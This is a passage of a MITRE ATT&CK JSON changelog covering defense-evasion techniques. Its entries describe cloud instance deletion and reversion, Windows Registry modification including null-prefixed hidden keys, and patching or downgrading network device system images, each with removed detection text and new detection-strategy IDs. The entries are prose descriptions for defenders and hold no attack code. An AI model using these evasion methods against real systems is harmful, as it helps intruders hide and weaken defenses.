"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Metadata\", \"Instance: Instance Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.705000+00:00\", \"old_value\": \"2025-04-15 22:16:21.146000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\\n\\nIn AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\\n-\\n-In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0030: Instance (Instance Deletion)",
"DS0030: Instance (Instance Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0084: Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-06-16 18:42:20.734000+00:00",
"modified": "2025-10-24 17:48:21.210000+00:00",
"name": "Revert Cloud Instance",
"description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/004",
"external_id": "T1578.004"
},
{
"source_name": "Tech Republic - Restore AWS Snapshots",
"description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
"url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
},
{
"source_name": "Google - Restore Cloud Snapshot",
"description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
"url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Netskope"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Instance: Instance Start\", \"Instance: Instance Metadata\", \"Instance: Instance Stop\", \"Instance: Instance Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.210000+00:00\", \"old_value\": \"2025-04-25 14:45:42.495000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0030: Instance (Instance Metadata)",
"DS0030: Instance (Instance Modification)",
"DS0030: Instance (Instance Start)",
"DS0030: Instance (Instance Stop)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0337: Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:23.587000+00:00",
"modified": "2025-10-24 17:48:49.294000+00:00",
"name": "Modify Registry",
"description": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification.(Citation: Microsoft Reg) Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).(Citation: Unit42 BabyShark Feb 2019)(Citation: Avaddon Ransomware 2021)(Citation: Microsoft BlackCat Jun 2022)(Citation: CISA Russian Gov Critical Infra 2018) The Registry may also be modified to [Impair Defenses](https://attack.mitre.org/techniques/T1562), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.(Citation: CISA LockBit 2023)(Citation: Unit42 BabyShark Feb 2019)\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.(Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API.(Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.(Citation: TrendMicro POWELIKS AUG 2014)(Citation: SpectorOps Hiding Reg Jul 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1112",
"external_id": "T1112"
},
{
"source_name": "CISA Russian Gov Critical Infra 2018",
"description": "CISA. (2018, March 16). Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved March 24, 2025.",
"url": "https://www.cisa.gov/news-events/alerts/2018/03/15/russian-government-cyber-activity-targeting-energy-and-other-critical-infrastructure-sectors"
},
{
"source_name": "CISA LockBit 2023",
"description": "CISA. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved March 24, 2025.",
"url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a"
},
{
"source_name": "Avaddon Ransomware 2021",
"description": "Javier Yuste and Sergio Pastrana. (2021). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved March 24, 2025.",
"url": "https://arxiv.org/pdf/2102.04796"
},
{
"source_name": "Microsoft BlackCat Jun 2022",
"description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.",
"url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
},
{
"source_name": "Microsoft Reg",
"description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
"url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"
},
{
"source_name": "Microsoft Remote",
"description": "Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved May 1, 2015.",
"url": "https://technet.microsoft.com/en-us/library/cc754820.aspx"
},
{
"source_name": "Microsoft 4657 APR 2017",
"description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.",
"url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"
},
{
"source_name": "SpectorOps Hiding Reg Jul 2017",
"description": "Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. Retrieved August 9, 2018.",
"url": "https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353"
},
{
"source_name": "Microsoft Reghide NOV 2006",
"description": "Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved August 9, 2018.",
"url": "https://docs.microsoft.com/sysinternals/downloads/reghide"
},
{
"source_name": "Microsoft RegDelNull July 2016",
"description": "Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. Retrieved August 10, 2018.",
"url": "https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull"
},
{
"source_name": "TrendMicro POWELIKS AUG 2014",
"description": "Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows Registry. Retrieved August 9, 2018.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/"
},
{
"source_name": "Unit42 BabyShark Feb 2019",
"description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.",
"url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Bartosz Jerzman",
"Travis Smith, Tripwire",
"David Lu, Tripwire",
"Gerardo Santos"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Process: OS API Execution\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Deletion\", \"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.294000+00:00\", \"old_value\": \"2025-04-15 19:58:33.486000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\\n\\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n\\nMonitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\\n-\\n-Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).\"}}}",
"previous_version": "2.0",
"changelog_mitigations": {
"shared": [
"M1024: Restrict Registry Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Deletion)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0280: Behavior-Based Registry Modification Detection on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 19:42:19.740000+00:00",
"modified": "2025-10-24 17:49:13.730000+00:00",
"name": "Modify System Image",
"description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1601",
"external_id": "T1601"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.730000+00:00\", \"old_value\": \"2025-04-25 15:15:59.227000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \\n\\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n\\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Most embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \\n-\\n-Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n-\\n-Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1032: Multi-factor Authentication",
"M1043: Credential Access Protection",
"M1045: Code Signing",
"M1046: Boot Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0170: Detection Strategy for Modify System Image on Network Devices"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 19:53:10.576000+00:00",
"modified": "2025-10-24 17:49:39.331000+00:00",
"name": "Downgrade System Image",
"description": "Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1601/002",
"external_id": "T1601.002"
},
{
"source_name": "Cisco Synful Knock Evolution",
"description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
"url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.331000+00:00\", \"old_value\": \"2025-04-25 14:48:39.086000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1032: Multi-factor Authentication",
"M1043: Credential Access Protection",
"M1045: Code Signing",
"M1046: Boot Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0569: Detection Strategy for Downgrade System Image on Network Devices"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 19:49:24.129000+00:00",
"modified": "2025-10-24 17:49:26.083000+00:00",
"name": "Patch System Image",
"description": "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary\u2019s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1601/001",
"external_id": "T1601.001"
},
{
"source_name": "Killing the myth of Cisco IOS rootkits",
"description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.",
"url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf"
},
{
"source_name": "Killing IOS diversity myth",
"description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.",
"url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf"
},
{
"source_name": "Cisco IOS Shellcode",
"description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.",
"url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf"
},
{
"source_name": "Cisco IOS Forensics Developments",
"description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.",
"url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf"
},
{
"source_name": "Juniper Netscreen of the Dead",
"description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.",
"url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
},
{
"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.083000+00:00\", \"old_value\": \"2025-04-25 14:48:09.178000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n\\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\\n-\\n-Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1032: Multi-factor Authentication",
"M1043: Credential Access Protection",
"M1045: Code Signing",
"M1046: Boot Integrity"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0469: Detection Strategy for Patch System Image on Network Devices"
],
"dropped": []
